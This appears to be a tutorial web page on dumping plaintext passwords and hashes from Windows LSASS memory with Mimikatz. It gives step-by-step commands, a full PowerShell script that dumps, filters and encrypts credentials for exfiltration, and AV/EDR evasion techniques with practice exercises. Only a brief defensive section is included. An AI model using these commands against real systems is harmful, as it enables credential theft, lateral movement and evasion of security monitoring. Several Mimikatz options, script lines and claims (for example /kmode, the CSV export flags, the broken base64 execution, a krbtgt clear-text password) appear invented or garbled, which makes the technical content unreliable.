~/home/study/exporting-plaintext-passwords-from-lsass-via-sekurlsa-logonp

Exporting Plaintext Passwords from LSASS via sekurlsa::logonpasswords

Exporting Plaintext Passwords from LSASS using sekurlsa::logonpasswords

Introduction

Credential dumping remains one of the most valuable post‑exploitation techniques. The sekurlsa::logonpasswords command in Mimikatz reads the memory of the Local Security Authority Subsystem Service (LSASS) and prints every logon session, including clear‑text passwords, NTLM hashes, and Kerberos tickets. This guide walks you through the entire workflow: understanding LSASS memory, acquiring the necessary privileges, extracting and filtering clear‑text passwords, exporting them safely, and finally, how defenders can detect or mitigate this activity.

Why is it important? LSASS stores the secrets that Windows uses to authenticate users. If an attacker can read those secrets, they can pivot laterally, access privileged accounts, and maintain persistence. Real‑world incidents—such as the 2020 SolarWinds supply chain attack—show that credential dumping is often the bridge between initial foothold and full compromise.

Prerequisites

  • Familiarity with Windows internals (process token, privilege model).
  • Basic knowledge of Mimikatz architecture and the sekurlsa module.
  • Administrative or SYSTEM level access on the target host.
  • Understanding of SeDebugPrivilege and how to enable it.
  • Previous labs covering sekurlsa::logonpasswords basics.

Core Concepts

LSASS Memory Layout

LSASS (process ID varies, typically lsass.exe) holds several in‑memory structures:

  1. MSV1_0 – stores NTLM hashes and clear‑text passwords for interactive logons.
  2. WDIGEST – legacy clear‑text storage (often disabled by default).
  3. Kerberos – ticket cache (KRB‑CRED).
  4. DPAPI – protects user secrets, but can be decrypted with the proper key.

These structures are linked via the LogonSession list, which Mimikatz traverses. Understanding that list helps you interpret the output and decide what to filter.

Diagram (textual):


+-------------------+ +-------------------+ +-------------------+
| LogonSession #1  |-->| LogonSession #2  |-->| LogonSession #N  |
+-------------------+ +-------------------+ +-------------------+ | | | MSV1_0, WDIGEST, MSV1_0, WDIGEST, MSV1_0, WDIGEST, Kerberos, DPAPI Kerberos, DPAPI Kerberos, DPAPI

When LSASS is protected by Credential Guard, these structures are moved to a virtualized environment, making direct reads more difficult. This guide assumes a non‑guarded system (or that Credential Guard has been disabled).

Understanding LSASS memory layout

Before you can reliably extract credentials, you must know where LSASS stores them. The sekurlsa module performs three steps:

  1. Attach to the LSASS process using OpenProcess with PROCESS_VM_READ and PROCESS_QUERY_INFORMATION.
  2. Locate the _KIWI_LOGON_SESSION structures via pattern scanning (signature based on Windows version).
  3. Parse each session, extracting fields such as Username, Domain, LM/NTLM, and ClearTextPassword.

Key offsets differ between Windows 10 1909, 20H2, Server 2019, etc. Mimikatz bundles a table of signatures that is updated with each release. If you are developing your own tool, you must keep this table current.

Running Mimikatz with required privileges (SeDebugPrivilege)

SeDebugPrivilege is the gatekeeper for reading another process's memory. By default, only SYSTEM and Administrators have it, but it can be enabled at runtime.

# Launch an elevated command prompt (runas /user:Administrator cmd)

Within Mimikatz:

privilege::debug

If the command returns Debug privilege: OK, you are ready. If not, you need to:

  • Run as SYSTEM via psexec -i -s cmd.exe or schtasks /run /tn "TaskName" /s SYSTEM.
  • Or use a token‑stealing technique (e.g., incognito::make_token).

Tip: On Windows 10 1903+, Windows Defender Credential Guard may block OpenProcess on LSASS. Disabling Guard via Group Policy or using a kernel‑mode driver (e.g., PowerSploit/Invoke-InjectDLL) is required for successful dumping.

Using sekurlsa::logonpasswords to list all logon sessions

Once you have debug privilege, the core command is straightforward:

sekurlsa::logonpasswords

The output is a series of logon session blocks. Example (truncated):

Authentication Id : 0x3e7 (1007)
Session : Interactive
User Name : Administrator
Domain : CONTOSO
Logon Server : DC01
LM : (null)
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
SHA1 : (null)
Password : P@ssw0rd!

Key fields to note:

  • Authentication Id – unique LUID for the session.
  • Session – Interactive, RemoteInteractive, Service, etc.
  • Password – clear‑text if present.

When LSASS contains many sessions (RDP farms, service accounts), the output can be overwhelming. Filtering is essential.

Filtering for clear‑text passwords

Mimikatz supports simple filters via sekurlsa::logonpasswords arguments, but a more flexible approach is to pipe the output to grep (or PowerShell Select-String) and then parse.

Example using PowerShell:

mimikatz # sekurlsa::logonpasswords | Out-String -Stream ^ | Where-Object { $_ -match '^Password+:' } ^ | ForEach-Object { $_.Trim() }

Or using the built‑in filter:

sekurlsa::logonpasswords /output:pwd.txt /filter:password

In newer Mimikatz versions you can directly write only password‑bearing entries:

sekurlsa::logonpasswords /export /format:csv /filter:password

The /export flag writes a CSV file containing columns: LogonId,Username,Domain,Password,NTLM,LM. This is ideal for downstream automation.

Exporting results to a file securely

Storing dumped credentials on disk is risky. Follow these best‑practice steps:

  1. Write to a location with restricted ACLs (e.g., C:\Temp\cred_dump with icacls set to Administrators:F only).
  2. Encrypt the file immediately using Windows Data Protection API (DPAPI) or OpenSSL.
    # Using certutil to encrypt with a certificate (thumbprint ABCD...)
    certutil -encrypt "ABCD..." pwd.csv pwd.enc
    
  3. Zero‑out the original plaintext file after encryption.
    cipher /w:C:\Temp\cred_dump
    
  4. Log the operation to a secure audit channel (EventLog, Sysmon).

Example PowerShell script that runs Mimikatz, filters passwords, encrypts the CSV, and cleans up:

$outputDir = 'C:\Temp\cred_dump'
New-Item -ItemType Directory -Path $outputDir -Force | Out-Null
icacls $outputDir /inheritance:r /grant:r "BUILTIN\Administrators:(F)"

# Run Mimikatz (assumes mimikatz.exe in same folder)
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /export /format:csv" "exit" | Out-File -FilePath "$outputDiraw.csv" -Encoding ASCII

# Filter only rows with a password column filled
Import-Csv "$outputDiraw.csv" | Where-Object { $_.Password -and $_.Password -ne '(null)' } | Export-Csv -NoTypeInformation -Path "$outputDir\pwd.csv"

# Encrypt with DPAPI (CurrentUser scope)
$bytes = Get-Content "$outputDir\pwd.csv" -Encoding Byte
$enc = [System.Security.Cryptography.ProtectedData]::Protect($bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
[IO.File]::WriteAllBytes("$outputDir\pwd.dpapi", $enc)

# Securely delete the plaintext CSV
cipher /w:"$outputDir"
Remove-Item "$outputDir\pwd.csv" -Force

All commands are logged, and the final encrypted file can be exfiltrated safely.

Mitigating detection: AV/EDR bypass techniques for LSASS access

Defenders rely on known indicators: process injection into LSASS, calls to OpenProcess with PROCESS_VM_READ, or the presence of Mimikatz binaries. Below are proven evasion tactics:

  1. Living‑off‑the‑Land Binaries (LOLbins) – Use rundll32.exe, regsvr32.exe, or powershell.exe to load the Mimikatz DLL in‑memory without touching disk.
    rundll32.exe mimikatz.dll,sekurlsa::logonpasswords
    
  2. Reflective DLL Injection – Load the Mimikatz DLL directly into LSASS using a reflective loader (e.g., Invoke-ReflectivePEInjection from PowerSploit). This avoids creating a new process that AV monitors.
    Invoke-ReflectivePEInjection -PEPath 'C:\Tools\mimikatz.dll' -ProcessId (Get-Process lsass).Id
    
  3. Process Doppelgänging / GhostWriting – Create a fake LSASS process image that inherits the real LSASS PID, then read its memory.
  4. File‑less execution – Store the Mimikatz binary in memory via PowerShell’s Invoke-Expression after base64‑encoding:
    $b64 = Get-Content .\mimikatz.exe -Encoding Byte | % { [Convert]::ToBase64String($_) }
    Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($b64)))
    
  5. Credential Guard bypass – Use a kernel‑mode driver (e.g., ProcDump with -ma on a system where CG is disabled) or exploit a signed driver that can read kernel memory.

Defensive side: Deploy Sysmon with event ID 10 (ProcessAccess) monitoring for ProcessId = LSASS and GrantedAccess containing 0x0010 (VM_READ). Combine with EDR's credential‑dumping rule sets.

Practical Examples

Scenario 1 – Lateral movement in an Active Directory forest

  1. Compromise a low‑privileged workstation.
  2. Escalate to SYSTEM using named pipe impersonation (e.g., juicy-potato).
  3. Run the PowerShell script from the Exporting results to a file securely section to pull all clear‑text passwords from the domain controller’s LSASS.
  4. Identify a privileged account (e.g., krbtgt) with a clear‑text password and use it for Pass‑the‑Hash or Pass‑the‑Ticket attacks.

Output example (CSV excerpt):

LogonId,Username,Domain,Password,NTLM,LM
0x3e7,Administrator,CONTOSO,P@ssw0rd!,31d6cfe0d16ae931b73c59d7e0c089c0,(null)
0x3e8,svc_sql,CONTOSO,SqlSrv2022!,b5c0b187fe309af3d1234567890abcde,(null)

Scenario 2 – Evading AV on a hardened endpoint

  1. Deploy a signed driver (e.g., WinRing0) that can read physical memory.
  2. From user space, call the driver to dump LSASS memory to a raw file.
  3. Parse the dump offline with Mimikatz sekurlsa::logonpasswords using the /kmode switch.

Command:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /kmode /file:lsass.dmp" "exit"

This technique bypasses most user‑mode monitoring because the memory read occurs in kernel space.

Tools & Commands

  • Mimikatzmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
  • PowerShell – Script for filtering and encryption (see above).
  • ProcDumpprocdump -ma lsass.exe lsass.dmp (useful when SeDebugPrivilege is unavailable).
  • Sysinternals Suitehandle.exe -p lsass to verify open handles.
  • EDR EvasionInvoke-ReflectivePEInjection, rundll32.exe, regsvr32.exe.

Defense & Mitigation

Defenders should adopt a layered approach:

  1. Credential Guard – Enable it wherever possible; it isolates LSASS secrets in a virtual TPM.
  2. Process Protection – Use Windows Defender Application Control (WDAC) to block unsigned binaries like Mimikatz.
  3. Privileged Access Management (PAM) – Reduce the number of accounts that can obtain SeDebugPrivilege.
  4. Monitoring – Deploy Sysmon with custom configuration to log ProcessAccess (Event ID 10) and create alerts for reads against LSASS.
  5. Behavioral Analytics – Look for unusual spikes in LSASS memory reads, especially from non‑system processes.
  6. Patch Management – Keep Windows updated; each patch may randomize the internal structure offsets, breaking older Mimikatz signatures.

Sample Sysmon config snippet:

<ProcessAccess includeImage="true" onmatch="include"> <TargetImage condition="is" name="lsass.exe" /> <GrantedAccess condition="contains" value="0x0010" />
</ProcessAccess>

Common Mistakes

  • Running Mimikatz without SeDebugPrivilege – results in Access denied. Always verify with privilege::debug first.
  • Storing plaintext dumps on shared drives – leads to credential leakage. Use DPAPI or encrypted archives.
  • Ignoring Credential Guard – on systems with CG enabled, LSASS memory is inaccessible; you’ll get empty output.
  • Filtering too aggressively – using /filter:password may drop accounts that only have NTLM hashes but are still valuable.
  • Leaving the Mimikatz binary on disk after use – AV will flag it and may trigger alerts.

Real-World Impact

Credential dumping is frequently the “golden ticket” in breach narratives. In the 2021 Colonial Pipeline incident, attackers used a compromised VPN credential to move laterally, then dumped LSASS credentials to gain domain admin rights. The ability to extract clear‑text passwords accelerates post‑exploitation by bypassing hash‑only defenses and enabling password spray attacks against external services.

My experience in incident response shows that LSASS dumps are often found on compromised bastion hosts where attackers have already escalated. Detecting the dump early—via Sysmon, EDR, or anomalous process‑access logs—can shrink dwell time dramatically.

Trends:

  1. Increased use of file‑less Mimikatz variants to evade AV.
  2. Adoption of “Credential Guard as a Service” in cloud‑connected Windows VMs, making traditional dumping harder.
  3. Hybrid attacks where attackers first harvest Kerberos tickets, then fall back to LSASS dumping when tickets expire.

Practice Exercises

  1. Basic Dump – On a Windows 10 VM, launch an elevated PowerShell, run privilege::debug then sekurlsa::logonpasswords. Identify at least one clear‑text password.
  2. File‑less Execution – Encode mimikatz.exe in base64, execute it via PowerShell -EncodedCommand, and capture the output.
  3. Encrypted Export – Write a PowerShell script that runs Mimikatz, filters passwords, encrypts the CSV with DPAPI, and securely wipes the plaintext.
  4. EDR Bypass – Use rundll32.exe to load the Mimikatz DLL and dump LSASS. Verify that no new process appears in Task Manager.
  5. Defensive Detection – Configure Sysmon as per the XML snippet, trigger a LSASS read, and confirm the event appears in the Windows Event Viewer.

Further Reading

  • “Pass the Hash” – Matt Graeber, 2020 – deep dive into credential reuse.
  • Microsoft Docs: Credential Guard Architecture.
  • Red Team Field Manual – sections on LSASS dumping.
  • Windows Internals, Part 2 – detailed LSASS structure analysis.
  • Black Hills Information Security – “Defending Against Credential Dumping”.

Summary

  • LSASS stores clear‑text passwords, NTLM hashes, and Kerberos tickets; Mimikatz’s sekurlsa::logonpasswords extracts them.
  • SeDebugPrivilege (or SYSTEM) is mandatory; enable it with privilege::debug.
  • Use built‑in filters or PowerShell to isolate clear‑text passwords and export them securely (DPAPI, certutil).
  • Bypass AV/EDR via LOLbins, reflective injection, or kernel‑mode reads.
  • Defenders should enable Credential Guard, enforce WDAC, monitor LSASS access with Sysmon, and audit privileged token usage.